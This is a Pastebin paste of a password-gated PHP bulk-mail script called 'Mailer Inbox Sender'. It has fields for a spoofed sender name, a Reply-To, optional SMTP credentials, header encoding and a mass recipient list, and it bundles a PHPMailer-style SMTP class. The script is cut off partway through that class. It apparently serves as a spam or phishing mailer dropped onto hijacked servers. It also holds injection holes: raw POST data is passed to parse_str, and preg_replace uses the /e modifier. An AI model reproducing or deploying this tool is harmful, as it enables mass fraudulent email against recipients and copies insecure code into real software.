Guest User

prom.php

a guest
Aug 5th, 2018
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 100.39 KB | None | 0 0
  1. <?php
  2. $password = "0xTrue"; // Password
  3.  
  4. session_start();
  5. error_reporting(0);
  6. set_time_limit(0);
  7. ini_set("memory_limit",-1);
  8.  
  9.  
  10. $sessioncode = md5(__FILE__);
  11. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  12. # _REQUEST mean _POST or _GET
  13. if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  14. $_SESSION[$sessioncode] = $password;
  15. }
  16. else {
  17. print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  18. exit;
  19. }
  20. }
  21. function query_str($params){
  22. $str = '';
  23. foreach ($params as $key => $value) {
  24. $str .= (strlen($str) < 1) ? '' : '&';
  25. $str .= $key . '=' . rawurlencode($value);
  26. }
  27. return ($str);
  28. }
  29. function lrtrim($string){
  30. return stripslashes(ltrim(rtrim($string)));
  31. }
  32.  
  33. if(isset($_POST['action'] ) ){
  34.  
  35. $b = query_str($_POST);
  36. parse_str($b);
  37. $sslclick=lrtrim($sslclick);
  38. $action=lrtrim($action);
  39. $message=lrtrim($message);
  40. $emaillist=lrtrim($emaillist);
  41. $from=lrtrim($from);
  42. $reconnect=lrtrim($reconnect);
  43. $epriority=lrtrim($epriority);
  44. $my_smtp=lrtrim($my_smtp);
  45. $ssl_port=lrtrim($ssl_port);
  46. $smtp_username=lrtrim($smtp_username);
  47. $smtp_password=lrtrim($smtp_password);
  48. $replyto=lrtrim($replyto);
  49. $subject=lrtrim($subject);
  50. $realname=lrtrim($realname);
  51. $subject_base=lrtrim($subject);
  52. $realname_base=lrtrim($realname);
  53. $file_name=lrtrim($file);
  54. $urlz=lrtrim($urlz);
  55. $contenttype=lrtrim($contenttype);
  56. $encode_text=$_POST['encode'];
  57.  
  58. $message = urlencode($message);
  59. $message = ereg_replace("%5C%22", "%22", $message);
  60. $message = urldecode($message);
  61. $message = stripslashes($message);
  62. $subject = stripslashes($subject);
  63. if ($encode_text == "yes") {
  64. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  65. $subject = str_replace(' ', '_', $subject);
  66. $subject = "=?UTF-8?Q?$subject?=";
  67. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  68. $realname = str_replace(' ', '_', $realname);
  69. $realname = "=?UTF-8?Q?$realname?=";
  70. }
  71. }
  72. ?>
  73. <html>
  74.  
  75. <head>
  76. <title>PHP Mailer</title>
  77. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  78.  
  79. <style type="text/css">
  80. <!--
  81. .style1 {
  82. font-family: Geneva, Arial, Helvetica, sans-serif;
  83. font-size: 12px;
  84. }
  85. -->
  86. </style>
  87. <style type="text/css">
  88. <!--
  89. .style1 {
  90. font-size: 10px;
  91. font-family: Geneva, Arial, Helvetica, sans-serif;
  92. }
  93. -->
  94. </style>
  95. </head>
  96. <body text="#000000">
  97. <body background="https://www.google.co.id/url?sa=i&rct=j&q=&esrc=s&source=images&cd=&cad=rja&uact=8&ved=0ahUKEwjnztaA4JnKAhWTWo4KHbYeDSwQjRwIBw&url=http%3A%2F%2Fwww.meh.ro%2Ftag%2Fanonymous%2F&bvm=bv.110151844,d.c2E&psig=AFQjCNGVmNWW7nE-IJ1noDmUNhLgzKycFA&ust=1452326439482875">
  98. <p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
  99. <p align="center"><font size="5" face="Bauhaus 93">1killer-rellay1.com (Shopping in safety
  100. )</font></p>
  101. <form name="form1" method="post" action="" enctype="multipart/form-data">
  102.  
  103. <br>
  104.  
  105. <table width="100%" border="0" height="407">
  106.  
  107. <tr>
  108.  
  109. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  110.  
  111. <b>
  112.  
  113. <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  114.  
  115. </tr>
  116. <tr>
  117.  
  118. <td width="10%" height="22" bgcolor="#014254">
  119.  
  120. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  121. SMTP Login:</font></div>
  122.  
  123. </td>
  124.  
  125. <td width="18%" height="22" bgcolor="#014254"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  126.  
  127. <input class="form-control" type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  128.  
  129. </font></td>
  130.  
  131. <td width="31%" height="22" bgcolor="#014254">
  132.  
  133. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  134. SMTP Pass:</font></div>
  135.  
  136. </td>
  137.  
  138. <td width="41%" height="22" bgcolor="#014254"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  139.  
  140. <input class="form-control" type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  141.  
  142. </font></td>
  143.  
  144. </tr>
  145. <tr>
  146.  
  147. <td width="10%" height="22" bgcolor="#014254">
  148.  
  149. <div align="right">
  150. <font class='validate' face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  151.  
  152. </td>
  153.  
  154. <td width="18%" height="22" bgcolor="#014254"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  155.  
  156. <input class="form-control" type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  157. (optional)</font></td>
  158.  
  159. <td width="31%" height="22" bgcolor="#014254">
  160.  
  161. <div align="right">
  162. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
  163. Server Smtp:</font></div>
  164.  
  165. </td>
  166.  
  167. <td width="41%" height="22" bgcolor="#014254"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  168.  
  169. <input class="form-control" type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  170.  
  171. </font></td>
  172.  
  173. </tr>
  174. <tr>
  175.  
  176. <td width="10%" height="22" bgcolor="#014254">
  177.  
  178. <p align="right">
  179. <font class='validate' face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  180.  
  181. <td width="18%" height="22" bgcolor="#014254">
  182. <input class="form-control" type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  183.  
  184. <td width="31%" height="22" bgcolor="#014254">
  185.  
  186. <p align="right">
  187. <font class='validate' face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  188. After:</font></td>
  189.  
  190. <td width="41%" height="22" bgcolor="#014254"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  191.  
  192. <input class="form-control" type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  193. EMAILS</font></td>
  194.  
  195. </tr>
  196. <tr>
  197.  
  198. <td width="100%" height="39" bgcolor="#014254" colspan="4">
  199.  
  200. <p align="center">
  201. <font class='validate' face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  202. you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  203.  
  204. </tr>
  205.  
  206. <tr>
  207.  
  208. <td width="10%" height="19">
  209.  
  210. &nbsp;</td>
  211.  
  212. <td width="18%" height="19">&nbsp;</td>
  213.  
  214. <td width="31%" height="19">
  215.  
  216. &nbsp;</td>
  217.  
  218. <td width="41%" height="19">&nbsp;</td>
  219.  
  220. </tr>
  221.  
  222. <tr>
  223.  
  224. <td width="100%" colspan="4" bgcolor="#666666" height="36">
  225.  
  226. <b>
  227.  
  228. <font class='validate' face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  229.  
  230. </tr>
  231.  
  232. <tr>
  233.  
  234. <td width="10%" height="22" bordercolor="#014254" bgcolor="#014254">
  235.  
  236. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  237. Your Email:</font></div>
  238.  
  239. </td>
  240.  
  241. <td width="18%" height="22" bordercolor="#014254" bgcolor="#014254"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  242.  
  243. <input class="form-control" type="text" name="from" value="<?=$from;?>" size="30">
  244.  
  245. </font></td>
  246.  
  247. <td width="31%" height="22" bordercolor="#014254" bgcolor="#014254">
  248.  
  249. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  250. Your Name:</font></div>
  251.  
  252. </td>
  253.  
  254. <td width="41%" height="22" bordercolor="#014254" bgcolor="#014254"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  255.  
  256. <input class="form-control" type="text" name="realname" value="<?=$realname_base;?>" size="30">
  257.  
  258. </font></td>
  259.  
  260. </tr>
  261. <tr>
  262.  
  263. <td width="10%" height="22" bgcolor="#014254" bordercolor="#014254">
  264.  
  265. <div align="right"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  266. Reply-To:</font></div>
  267.  
  268. </td>
  269.  
  270. <td width="18%" height="22" bgcolor="#014254" bordercolor="#014254"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  271.  
  272. <input class="form-control" type="text" name="replyto" value="<?=$replyto;?>" size="30">
  273.  
  274. </font></td>
  275.  
  276. <td width="31%" height="22" bgcolor="#014254" bordercolor="#014254">
  277.  
  278. <p align="right"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  279. Email Priority:</font></td>
  280.  
  281. <td width="41%" height="22" bgcolor="#014254" bordercolor="#014254"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  282.  
  283. &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  284. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
  285. Please Choose -</option>
  286. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  287. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  288. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  289. </select></td>
  290.  
  291. </tr>
  292.  
  293. <tr>
  294.  
  295. <td width="10%" height="22" bordercolor="#014254" bgcolor="#014254">
  296.  
  297. <div align="right"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  298. Subject:</font></div>
  299.  
  300. </td>
  301.  
  302. <td colspan="3" height="22" bordercolor="#014254" bgcolor="#014254"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  303.  
  304. <input class="form-control" type="text" name="subject" value="<?=$subject_base;?>" size="90">
  305.  
  306. </font></td>
  307.  
  308. </tr>
  309.  
  310. <tr>
  311.  
  312. <td width="10%" height="22" bordercolor="#014254" bgcolor="#014254">
  313.  
  314. &nbsp;</td>
  315.  
  316. <td colspan="3" height="22" bordercolor="#014254" bgcolor="#014254"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  317.  
  318. &nbsp; <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
  319. <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  320. <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  321. </select></font></td>
  322.  
  323. </tr>
  324.  
  325. <tr valign="top">
  326.  
  327. <td colspan="3" height="190" bordercolor="#014254" bgcolor="#014254"><font class='validate' size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  328.  
  329. <textarea class="form-control" name="message" cols="60" rows="10"><?=$message;?></textarea>
  330.  
  331. <br>
  332.  
  333. <input class="form-control" type="radio" name="contenttype" value="plain" >
  334.  
  335. Plain
  336.  
  337. <input class="form-control" type="radio" name="contenttype" value="html" checked>
  338.  
  339. HTML
  340.  
  341. <input class="form-control" type="hidden" name="action" value="send">
  342.  
  343. <input class="form-control" type="submit" value="Send Message">
  344.  
  345. </font></td>
  346.  
  347. <td width="41%" height="190" bordercolor="#014254" bgcolor="#014254"><font class='validate' size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  348.  
  349. <textarea class="form-control" name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  350.  
  351. </font></td>
  352.  
  353. </tr>
  354.  
  355. </table>
  356.  
  357. </form>
  358.  
  359.  
  360.  
  361. <?
  362.  
  363. if ($action){
  364. if (!$from && !$subject && !$message && !$emaillist){
  365. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  366. die(); }
  367.  
  368. class SMTP
  369. {
  370. /**
  371. * SMTP server port
  372. * @var int
  373. */
  374. var $SMTP_PORT = 25;
  375.  
  376. /**
  377. * SMTP reply line ending
  378. * @var string
  379. */
  380. var $CRLF = "\r\n";
  381.  
  382. /**
  383. * Sets whether debugging is turned on
  384. * @var bool
  385. */
  386. var $do_debug; # the level of debug to perform
  387.  
  388. /**
  389. * Sets VERP use on/off (default is off)
  390. * @var bool
  391. */
  392. var $do_verp = false;
  393.  
  394. /**#@+
  395. * @access private
  396. */
  397. var $smtp_conn; # the socket to the server
  398. var $error; # error if any on the last call
  399. var $helo_rply; # the reply the server sent to us for HELO
  400. /**#@-*/
  401.  
  402. /**
  403. * Initialize the class so that the data is in a known state.
  404. * @access public
  405. * @return void
  406. */
  407. function SMTP() {
  408. $this->smtp_conn = 0;
  409. $this->error = null;
  410. $this->helo_rply = null;
  411.  
  412. $this->do_debug = 0;
  413. }
  414.  
  415. /*************************************************************
  416. * CONNECTION FUNCTIONS *
  417. ***********************************************************/
  418.  
  419. /**
  420. * Connect to the server specified on the port specified.
  421. * If the port is not specified use the default SMTP_PORT.
  422. * If tval is specified then a connection will try and be
  423. * established with the server for that number of seconds.
  424. * If tval is not specified the default is 30 seconds to
  425. * try on the connection.
  426. *
  427. * SMTP CODE SUCCESS: 220
  428. * SMTP CODE FAILURE: 421
  429. * @access public
  430. * @return bool
  431. */
  432. function Connect($host,$port=0,$tval=30) {
  433. # set the error val to null so there is no confusion
  434. $this->error = null;
  435.  
  436. # make sure we are __not__ connected
  437. if($this->connected()) {
  438. # ok we are connected! what should we do?
  439. # for now we will just give an error saying we
  440. # are already connected
  441. $this->error = array("error" => "Already connected to a server");
  442. return false;
  443. }
  444.  
  445. if(empty($port)) {
  446. $port = $this->SMTP_PORT;
  447. }
  448.  
  449. #connect to the smtp server
  450. $this->smtp_conn = fsockopen($host, # the host of the server
  451. $port, # the port to use
  452. $errno, # error number if any
  453. $errstr, # error message if any
  454. $tval); # give up after ? secs
  455. # verify we connected properly
  456. if(empty($this->smtp_conn)) {
  457. $this->error = array("error" => "Failed to connect to server",
  458. "errno" => $errno,
  459. "errstr" => $errstr);
  460. if($this->do_debug >= 1) {
  461. echo "SMTP -> ERROR: " . $this->error["error"] .
  462. ": $errstr ($errno)" . $this->CRLF;
  463. }
  464. return false;
  465. }
  466.  
  467. # sometimes the SMTP server takes a little longer to respond
  468. # so we will give it a longer timeout for the first read
  469. // Windows still does not have support for this timeout function
  470. if(substr(PHP_OS, 0, 3) != "WIN")
  471. socket_set_timeout($this->smtp_conn, $tval, 0);
  472.  
  473. # get any announcement stuff
  474. $announce = $this->get_lines();
  475.  
  476. # set the timeout of any socket functions at 1/10 of a second
  477. //if(function_exists("socket_set_timeout"))
  478. // socket_set_timeout($this->smtp_conn, 0, 100000);
  479.  
  480. if($this->do_debug >= 2) {
  481. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  482. }
  483.  
  484. return true;
  485. }
  486.  
  487. /**
  488. * Performs SMTP authentication. Must be run after running the
  489. * Hello() method. Returns true if successfully authenticated.
  490. * @access public
  491. * @return bool
  492. */
  493. function Authenticate($username, $password) {
  494. // Start authentication
  495. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  496.  
  497. $rply = $this->get_lines();
  498. $code = substr($rply,0,3);
  499.  
  500. if($code != 334) {
  501. $this->error =
  502. array("error" => "AUTH not accepted from server",
  503. "smtp_code" => $code,
  504. "smtp_msg" => substr($rply,4));
  505. if($this->do_debug >= 1) {
  506. echo "SMTP -> ERROR: " . $this->error["error"] .
  507. ": " . $rply . $this->CRLF;
  508. }
  509. return false;
  510. }
  511.  
  512. // Send encoded username
  513. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  514.  
  515. $rply = $this->get_lines();
  516. $code = substr($rply,0,3);
  517.  
  518. if($code != 334) {
  519. $this->error =
  520. array("error" => "Username not accepted from server",
  521. "smtp_code" => $code,
  522. "smtp_msg" => substr($rply,4));
  523. if($this->do_debug >= 1) {
  524. echo "SMTP -> ERROR: " . $this->error["error"] .
  525. ": " . $rply . $this->CRLF;
  526. }
  527. return false;
  528. }
  529.  
  530. // Send encoded password
  531. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  532.  
  533. $rply = $this->get_lines();
  534. $code = substr($rply,0,3);
  535.  
  536. if($code != 235) {
  537. $this->error =
  538. array("error" => "Password not accepted from server",
  539. "smtp_code" => $code,
  540. "smtp_msg" => substr($rply,4));
  541. if($this->do_debug >= 1) {
  542. echo "SMTP -> ERROR: " . $this->error["error"] .
  543. ": " . $rply . $this->CRLF;
  544. }
  545. return false;
  546. }
  547.  
  548. return true;
  549. }
  550.  
  551. /**
  552. * Returns true if connected to a server otherwise false
  553. * @access private
  554. * @return bool
  555. */
  556. function Connected() {
  557. if(!empty($this->smtp_conn)) {
  558. $sock_status = socket_get_status($this->smtp_conn);
  559. if($sock_status["eof"]) {
  560. # hmm this is an odd situation... the socket is
  561. # valid but we are not connected anymore
  562. if($this->do_debug >= 1) {
  563. echo "SMTP -> NOTICE:" . $this->CRLF .
  564. "EOF caught while checking if connected";
  565. }
  566. $this->Close();
  567. return false;
  568. }
  569. return true; # everything looks good
  570. }
  571. return false;
  572. }
  573.  
  574. /**
  575. * Closes the socket and cleans up the state of the class.
  576. * It is not considered good to use this function without
  577. * first trying to use QUIT.
  578. * @access public
  579. * @return void
  580. */
  581. function Close() {
  582. $this->error = null; # so there is no confusion
  583. $this->helo_rply = null;
  584. if(!empty($this->smtp_conn)) {
  585. # close the connection and cleanup
  586. fclose($this->smtp_conn);
  587. $this->smtp_conn = 0;
  588. }
  589. }
  590.  
  591. /***************************************************************
  592. * SMTP COMMANDS *
  593. *************************************************************/
  594.  
  595. /**
  596. * Issues a data command and sends the msg_data to the server
  597. * finializing the mail transaction. $msg_data is the message
  598. * that is to be send with the headers. Each header needs to be
  599. * on a single line followed by a <CRLF> with the message headers
  600. * and the message body being seperated by and additional <CRLF>.
  601. *
  602. * Implements rfc 821: DATA <CRLF>
  603. *
  604. * SMTP CODE INTERMEDIATE: 354
  605. * [data]
  606. * <CRLF>.<CRLF>
  607. * SMTP CODE SUCCESS: 250
  608. * SMTP CODE FAILURE: 552,554,451,452
  609. * SMTP CODE FAILURE: 451,554
  610. * SMTP CODE ERROR : 500,501,503,421
  611. * @access public
  612. * @return bool
  613. */
  614. function Data($msg_data) {
  615. $this->error = null; # so no confusion is caused
  616.  
  617. if(!$this->connected()) {
  618. $this->error = array(
  619. "error" => "Called Data() without being connected");
  620. return false;
  621. }
  622.  
  623. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  624.  
  625. $rply = $this->get_lines();
  626. $code = substr($rply,0,3);
  627.  
  628. if($this->do_debug >= 2) {
  629. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  630. }
  631.  
  632. if($code != 354) {
  633. $this->error =
  634. array("error" => "DATA command not accepted from server",
  635. "smtp_code" => $code,
  636. "smtp_msg" => substr($rply,4));
  637. if($this->do_debug >= 1) {
  638. echo "SMTP -> ERROR: " . $this->error["error"] .
  639. ": " . $rply . $this->CRLF;
  640. }
  641. return false;
  642. }
  643.  
  644. # the server is ready to accept data!
  645. # according to rfc 821 we should not send more than 1000
  646. # including the CRLF
  647. # characters on a single line so we will break the data up
  648. # into lines by \r and/or \n then if needed we will break
  649. # each of those into smaller lines to fit within the limit.
  650. # in addition we will be looking for lines that start with
  651. # a period '.' and append and additional period '.' to that
  652. # line. NOTE: this does not count towards are limit.
  653.  
  654. # normalize the line breaks so we know the explode works
  655. $msg_data = str_replace("\r\n","\n",$msg_data);
  656. $msg_data = str_replace("\r","\n",$msg_data);
  657. $lines = explode("\n",$msg_data);
  658.  
  659. # we need to find a good way to determine is headers are
  660. # in the msg_data or if it is a straight msg body
  661. # currently I am assuming rfc 822 definitions of msg headers
  662. # and if the first field of the first line (':' sperated)
  663. # does not contain a space then it _should_ be a header
  664. # and we can process all lines before a blank "" line as
  665. # headers.
  666. $field = substr($lines[0],0,strpos($lines[0],":"));
  667. $in_headers = false;
  668. if(!empty($field) && !strstr($field," ")) {
  669. $in_headers = true;
  670. }
  671.  
  672. $max_line_length = 998; # used below; set here for ease in change
  673.  
  674. while(list(,$line) = @each($lines)) {
  675. $lines_out = null;
  676. if($line == "" && $in_headers) {
  677. $in_headers = false;
  678. }
  679. # ok we need to break this line up into several
  680. # smaller lines
  681. while(strlen($line) > $max_line_length) {
  682. $pos = strrpos(substr($line,0,$max_line_length)," ");
  683.  
  684. # Patch to fix DOS attack
  685. if(!$pos) {
  686. $pos = $max_line_length - 1;
  687. }
  688.  
  689. $lines_out[] = substr($line,0,$pos);
  690. $line = substr($line,$pos + 1);
  691. # if we are processing headers we need to
  692. # add a LWSP-char to the front of the new line
  693. # rfc 822 on long msg headers
  694. if($in_headers) {
  695. $line = "\t" . $line;
  696. }
  697. }
  698. $lines_out[] = $line;
  699.  
  700. # now send the lines to the server
  701. while(list(,$line_out) = @each($lines_out)) {
  702. if(strlen($line_out) > 0)
  703. {
  704. if(substr($line_out, 0, 1) == ".") {
  705. $line_out = "." . $line_out;
  706. }
  707. }
  708. fputs($this->smtp_conn,$line_out . $this->CRLF);
  709. }
  710. }
  711.  
  712. # ok all the message data has been sent so lets get this
  713. # over with aleady
  714. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  715.  
  716. $rply = $this->get_lines();
  717. $code = substr($rply,0,3);
  718.  
  719. if($this->do_debug >= 2) {
  720. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  721. }
  722.  
  723. if($code != 250) {
  724. $this->error =
  725. array("error" => "DATA not accepted from server",
  726. "smtp_code" => $code,
  727. "smtp_msg" => substr($rply,4));
  728. if($this->do_debug >= 1) {
  729. echo "SMTP -> ERROR: " . $this->error["error"] .
  730. ": " . $rply . $this->CRLF;
  731. }
  732. return false;
  733. }
  734. return true;
  735. }
  736.  
  737. /**
  738. * Expand takes the name and asks the server to list all the
  739. * people who are members of the _list_. Expand will return
  740. * back and array of the result or false if an error occurs.
  741. * Each value in the array returned has the format of:
  742. * [ <full-name> <sp> ] <path>
  743. * The definition of <path> is defined in rfc 821
  744. *
  745. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  746. *
  747. * SMTP CODE SUCCESS: 250
  748. * SMTP CODE FAILURE: 550
  749. * SMTP CODE ERROR : 500,501,502,504,421
  750. * @access public
  751. * @return string array
  752. */
  753. function Expand($name) {
  754. $this->error = null; # so no confusion is caused
  755.  
  756. if(!$this->connected()) {
  757. $this->error = array(
  758. "error" => "Called Expand() without being connected");
  759. return false;
  760. }
  761.  
  762. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  763.  
  764. $rply = $this->get_lines();
  765. $code = substr($rply,0,3);
  766.  
  767. if($this->do_debug >= 2) {
  768. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  769. }
  770.  
  771. if($code != 250) {
  772. $this->error =
  773. array("error" => "EXPN not accepted from server",
  774. "smtp_code" => $code,
  775. "smtp_msg" => substr($rply,4));
  776. if($this->do_debug >= 1) {
  777. echo "SMTP -> ERROR: " . $this->error["error"] .
  778. ": " . $rply . $this->CRLF;
  779. }
  780. return false;
  781. }
  782.  
  783. # parse the reply and place in our array to return to user
  784. $entries = explode($this->CRLF,$rply);
  785. while(list(,$l) = @each($entries)) {
  786. $list[] = substr($l,4);
  787. }
  788.  
  789. return $list;
  790. }
  791.  
  792. /**
  793. * Sends the HELO command to the smtp server.
  794. * This makes sure that we and the server are in
  795. * the same known state.
  796. *
  797. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  798. *
  799. * SMTP CODE SUCCESS: 250
  800. * SMTP CODE ERROR : 500, 501, 504, 421
  801. * @access public
  802. * @return bool
  803. */
  804. function Hello($host="") {
  805. $this->error = null; # so no confusion is caused
  806.  
  807. if(!$this->connected()) {
  808. $this->error = array(
  809. "error" => "Called Hello() without being connected");
  810. return false;
  811. }
  812.  
  813. # if a hostname for the HELO was not specified determine
  814. # a suitable one to send
  815. if(empty($host)) {
  816. # we need to determine some sort of appopiate default
  817. # to send to the server
  818. $host = "localhost";
  819. }
  820.  
  821. // Send extended hello first (RFC 2821)
  822. if(!$this->SendHello("EHLO", $host))
  823. {
  824. if(!$this->SendHello("HELO", $host))
  825. return false;
  826. }
  827.  
  828. return true;
  829. }
  830.  
  831. /**
  832. * Sends a HELO/EHLO command.
  833. * @access private
  834. * @return bool
  835. */
  836. function SendHello($hello, $host) {
  837. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  838.  
  839. $rply = $this->get_lines();
  840. $code = substr($rply,0,3);
  841.  
  842. if($this->do_debug >= 2) {
  843. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  844. }
  845.  
  846. if($code != 250) {
  847. $this->error =
  848. array("error" => $hello . " not accepted from server",
  849. "smtp_code" => $code,
  850. "smtp_msg" => substr($rply,4));
  851. if($this->do_debug >= 1) {
  852. echo "SMTP -> ERROR: " . $this->error["error"] .
  853. ": " . $rply . $this->CRLF;
  854. }
  855. return false;
  856. }
  857.  
  858. $this->helo_rply = $rply;
  859.  
  860. return true;
  861. }
  862.  
  863. /**
  864. * Gets help information on the keyword specified. If the keyword
  865. * is not specified then returns generic help, ussually contianing
  866. * A list of keywords that help is available on. This function
  867. * returns the results back to the user. It is up to the user to
  868. * handle the returned data. If an error occurs then false is
  869. * returned with $this->error set appropiately.
  870. *
  871. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  872. *
  873. * SMTP CODE SUCCESS: 211,214
  874. * SMTP CODE ERROR : 500,501,502,504,421
  875. * @access public
  876. * @return string
  877. */
  878. function Help($keyword="") {
  879. $this->error = null; # to avoid confusion
  880.  
  881. if(!$this->connected()) {
  882. $this->error = array(
  883. "error" => "Called Help() without being connected");
  884. return false;
  885. }
  886.  
  887. $extra = "";
  888. if(!empty($keyword)) {
  889. $extra = " " . $keyword;
  890. }
  891.  
  892. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  893.  
  894. $rply = $this->get_lines();
  895. $code = substr($rply,0,3);
  896.  
  897. if($this->do_debug >= 2) {
  898. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  899. }
  900.  
  901. if($code != 211 && $code != 214) {
  902. $this->error =
  903. array("error" => "HELP not accepted from server",
  904. "smtp_code" => $code,
  905. "smtp_msg" => substr($rply,4));
  906. if($this->do_debug >= 1) {
  907. echo "SMTP -> ERROR: " . $this->error["error"] .
  908. ": " . $rply . $this->CRLF;
  909. }
  910. return false;
  911. }
  912.  
  913. return $rply;
  914. }
  915.  
  916. /**
  917. * Starts a mail transaction from the email address specified in
  918. * $from. Returns true if successful or false otherwise. If True
  919. * the mail transaction is started and then one or more Recipient
  920. * commands may be called followed by a Data command.
  921. *
  922. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  923. *
  924. * SMTP CODE SUCCESS: 250
  925. * SMTP CODE SUCCESS: 552,451,452
  926. * SMTP CODE SUCCESS: 500,501,421
  927. * @access public
  928. * @return bool
  929. */
  930. function Mail($from) {
  931. $this->error = null; # so no confusion is caused
  932.  
  933. if(!$this->connected()) {
  934. $this->error = array(
  935. "error" => "Called Mail() without being connected");
  936. return false;
  937. }
  938.  
  939. $useVerp = ($this->do_verp ? "XVERP" : "");
  940. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  941.  
  942. $rply = $this->get_lines();
  943. $code = substr($rply,0,3);
  944.  
  945. if($this->do_debug >= 2) {
  946. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  947. }
  948.  
  949. if($code != 250) {
  950. $this->error =
  951. array("error" => "MAIL not accepted from server",
  952. "smtp_code" => $code,
  953. "smtp_msg" => substr($rply,4));
  954. if($this->do_debug >= 1) {
  955. echo "SMTP -> ERROR: " . $this->error["error"] .
  956. ": " . $rply . $this->CRLF;
  957. }
  958. return false;
  959. }
  960. return true;
  961. }
  962.  
  963. /**
  964. * Sends the command NOOP to the SMTP server.
  965. *
  966. * Implements from rfc 821: NOOP <CRLF>
  967. *
  968. * SMTP CODE SUCCESS: 250
  969. * SMTP CODE ERROR : 500, 421
  970. * @access public
  971. * @return bool
  972. */
  973. function Noop() {
  974. $this->error = null; # so no confusion is caused
  975.  
  976. if(!$this->connected()) {
  977. $this->error = array(
  978. "error" => "Called Noop() without being connected");
  979. return false;
  980. }
  981.  
  982. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  983.  
  984. $rply = $this->get_lines();
  985. $code = substr($rply,0,3);
  986.  
  987. if($this->do_debug >= 2) {
  988. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  989. }
  990.  
  991. if($code != 250) {
  992. $this->error =
  993. array("error" => "NOOP not accepted from server",
  994. "smtp_code" => $code,
  995. "smtp_msg" => substr($rply,4));
  996. if($this->do_debug >= 1) {
  997. echo "SMTP -> ERROR: " . $this->error["error"] .
  998. ": " . $rply . $this->CRLF;
  999. }
  1000. return false;
  1001. }
  1002. return true;
  1003. }
  1004.  
  1005. /**
  1006. * Sends the quit command to the server and then closes the socket
